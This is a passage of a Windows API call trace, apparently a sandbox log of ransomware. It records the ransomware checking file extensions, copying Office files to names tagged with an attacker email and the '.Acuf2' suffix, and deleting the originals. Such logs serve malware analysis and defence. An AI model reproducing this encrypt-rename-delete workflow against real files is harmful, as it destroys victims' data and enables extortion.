	[0263.018] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.018] lstrlenW (lpString=".pdf") returned 4
	[0263.018] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.018] lstrlenW (lpString=".xls") returned 4
	[0263.018] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.018] lstrlenW (lpString=".xlsx") returned 5
	[0263.018] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.018] lstrlenW (lpString=".ppt") returned 4
	[0263.018] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.018] lstrlenW (lpString=".zip") returned 4
	[0263.018] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.018] lstrlenW (lpString=".rar") returned 4
	[0263.018] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.019] lstrlenW (lpString=".bz2") returned 4
	[0263.019] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.019] lstrlenW (lpString=".7z") returned 3
	[0263.019] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.019] lstrlenW (lpString=".dbf") returned 4
	[0263.019] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.019] lstrlenW (lpString=".1cd") returned 4
	[0263.019] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.019] lstrlenW (lpString=".jpg") returned 4
	[0263.019] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.019] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0263.019] lstrlenW (lpString="MSAIN.DLL") returned 9
	[0263.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.019] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=1212288) returned 1
	[0263.019] CloseHandle (hObject=0x35c) returned 1
	[0263.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll")) returned 0x20
	[0263.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.020] lstrlenW (lpString=".doc") returned 4
	[0263.020] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.020] lstrlenW (lpString=".docx") returned 5
	[0263.020] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1
	[0263.020] lstrlenW (lpString=".pdf") returned 4
	[0263.020] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.020] lstrlenW (lpString=".xls") returned 4
	[0263.020] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.020] lstrlenW (lpString=".xlsx") returned 5
	[0263.020] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1
	[0263.020] lstrlenW (lpString=".ppt") returned 4
	[0263.020] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.020] lstrlenW (lpString=".zip") returned 4
	[0263.020] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.020] lstrlenW (lpString=".rar") returned 4
	[0263.020] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.020] lstrlenW (lpString=".bz2") returned 4
	[0263.020] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.020] lstrlenW (lpString=".7z") returned 3
	[0263.020] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.021] lstrlenW (lpString=".dbf") returned 4
	[0263.021] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.021] lstrlenW (lpString=".1cd") returned 4
	[0263.021] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.021] lstrlenW (lpString=".jpg") returned 4
	[0263.021] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.021] lstrlenW (lpString=".doc") returned 4
	[0263.021] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.021] lstrlenW (lpString=".docx") returned 5
	[0263.021] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1
	[0263.021] lstrlenW (lpString=".pdf") returned 4
	[0263.021] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.021] lstrlenW (lpString=".xls") returned 4
	[0263.021] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.021] lstrlenW (lpString=".xlsx") returned 5
	[0263.021] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1
	[0263.021] lstrlenW (lpString=".ppt") returned 4
	[0263.021] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.021] lstrlenW (lpString=".zip") returned 4
	[0263.021] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.021] lstrlenW (lpString=".rar") returned 4
	[0263.021] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.021] lstrlenW (lpString=".bz2") returned 4
	[0263.021] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.021] lstrlenW (lpString=".7z") returned 3
	[0263.022] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.022] lstrlenW (lpString=".dbf") returned 4
	[0263.022] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.022] lstrlenW (lpString=".1cd") returned 4
	[0263.022] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57
	[0263.022] lstrlenW (lpString=".jpg") returned 4
	[0263.022] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.022] lstrcmpiW (lpString1=".ACL", lpString2=".Acuf2") returned -1
	[0263.022] lstrlenW (lpString="MSO.ACL") returned 7
	[0263.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.023] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=37762) returned 1
	[0263.023] CloseHandle (hObject=0x35c) returned 1
	[0263.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 0x20
	[0263.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.023] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.023] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0263.024] GetLastError () returned 0x0
	[0263.024] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x9382, lpOverlapped=0x0) returned 1
	[0263.026] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x9390, lpOverlapped=0x0) returned 1
	[0263.027] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.027] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0263.027] SetEndOfFile (hFile=0x328) returned 1
	[0263.027] CloseHandle (hObject=0x328) returned 1
	[0263.027] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.027] SetEndOfFile (hFile=0x35c) returned 1
	[0263.030] CloseHandle (hObject=0x35c) returned 1
	[0263.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 1
	[0263.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.030] lstrlenW (lpString=".doc") returned 4
	[0263.030] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1
	[0263.030] lstrlenW (lpString=".docx") returned 5
	[0263.030] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1
	[0263.030] lstrlenW (lpString=".pdf") returned 4
	[0263.030] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1
	[0263.030] lstrlenW (lpString=".xls") returned 4
	[0263.030] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1
	[0263.030] lstrlenW (lpString=".xlsx") returned 5
	[0263.030] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1
	[0263.030] lstrlenW (lpString=".ppt") returned 4
	[0263.031] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.031] lstrlenW (lpString=".zip") returned 4
	[0263.031] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString=".rar") returned 4
	[0263.031] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString=".bz2") returned 4
	[0263.031] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString=".7z") returned 3
	[0263.031] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1
	[0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.031] lstrlenW (lpString=".dbf") returned 4
	[0263.031] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.031] lstrlenW (lpString=".1cd") returned 4
	[0263.031] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1
	[0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.031] lstrlenW (lpString=".jpg") returned 4
	[0263.031] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.031] lstrlenW (lpString=".doc") returned 4
	[0263.031] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString=".docx") returned 5
	[0263.031] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1
	[0263.031] lstrlenW (lpString=".pdf") returned 4
	[0263.031] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString=".xls") returned 4
	[0263.031] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1
	[0263.031] lstrlenW (lpString=".xlsx") returned 5
	[0263.031] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1
	[0263.031] lstrlenW (lpString=".ppt") returned 4
	[0263.032] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1
	[0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.032] lstrlenW (lpString=".zip") returned 4
	[0263.032] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1
	[0263.032] lstrlenW (lpString=".rar") returned 4
	[0263.032] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1
	[0263.032] lstrlenW (lpString=".bz2") returned 4
	[0263.032] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1
	[0263.032] lstrlenW (lpString=".7z") returned 3
	[0263.032] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1
	[0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.032] lstrlenW (lpString=".dbf") returned 4
	[0263.032] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1
	[0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.032] lstrlenW (lpString=".1cd") returned 4
	[0263.032] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1
	[0263.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL") returned 55
	[0263.032] lstrlenW (lpString=".jpg") returned 4
	[0263.032] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1
	[0263.032] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0263.032] lstrlenW (lpString="MSOUC.HXS") returned 9
	[0263.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.033] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=431456) returned 1
	[0263.033] CloseHandle (hObject=0x35c) returned 1
	[0263.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 0x20
	[0263.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0263.376] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.376] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.434] GetLastError () returned 0x0
	[0263.434] ReadFile (in: hFile=0x28c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x69560, lpOverlapped=0x0) returned 1
	[0263.448] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x69570, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x69570, lpOverlapped=0x0) returned 1
	[0263.463] ReadFile (in: hFile=0x28c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.463] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0263.463] SetEndOfFile (hFile=0x320) returned 1
	[0263.463] CloseHandle (hObject=0x320) returned 1
	[0263.463] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.463] SetEndOfFile (hFile=0x28c) returned 1
	[0263.473] CloseHandle (hObject=0x28c) returned 1
	[0263.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 1
	[0263.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.500] lstrlenW (lpString=".doc") returned 4
	[0263.500] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.500] lstrlenW (lpString=".docx") returned 5
	[0263.500] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1
	[0263.500] lstrlenW (lpString=".pdf") returned 4
	[0263.500] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.500] lstrlenW (lpString=".xls") returned 4
	[0263.501] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.501] lstrlenW (lpString=".xlsx") returned 5
	[0263.501] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1
	[0263.501] lstrlenW (lpString=".ppt") returned 4
	[0263.501] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.501] lstrlenW (lpString=".zip") returned 4
	[0263.501] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.501] lstrlenW (lpString=".rar") returned 4
	[0263.501] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.501] lstrlenW (lpString=".bz2") returned 4
	[0263.501] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.501] lstrlenW (lpString=".7z") returned 3
	[0263.501] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.501] lstrlenW (lpString=".dbf") returned 4
	[0263.501] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.501] lstrlenW (lpString=".1cd") returned 4
	[0263.501] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.501] lstrlenW (lpString=".jpg") returned 4
	[0263.501] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.502] lstrlenW (lpString=".doc") returned 4
	[0263.502] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.502] lstrlenW (lpString=".docx") returned 5
	[0263.502] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1
	[0263.502] lstrlenW (lpString=".pdf") returned 4
	[0263.502] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.502] lstrlenW (lpString=".xls") returned 4
	[0263.502] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.502] lstrlenW (lpString=".xlsx") returned 5
	[0263.502] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1
	[0263.502] lstrlenW (lpString=".ppt") returned 4
	[0263.502] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.502] lstrlenW (lpString=".zip") returned 4
	[0263.502] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.502] lstrlenW (lpString=".rar") returned 4
	[0263.502] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.502] lstrlenW (lpString=".bz2") returned 4
	[0263.502] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.502] lstrlenW (lpString=".7z") returned 3
	[0263.502] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.502] lstrlenW (lpString=".dbf") returned 4
	[0263.502] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.502] lstrlenW (lpString=".1cd") returned 4
	[0263.502] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57
	[0263.502] lstrlenW (lpString=".jpg") returned 4
	[0263.502] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.503] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0263.503] lstrlenW (lpString="OIS.HXS") returned 7
	[0263.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.505] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=457988) returned 1
	[0263.505] CloseHandle (hObject=0x218) returned 1
	[0263.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 0x20
	[0263.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.505] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.505] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
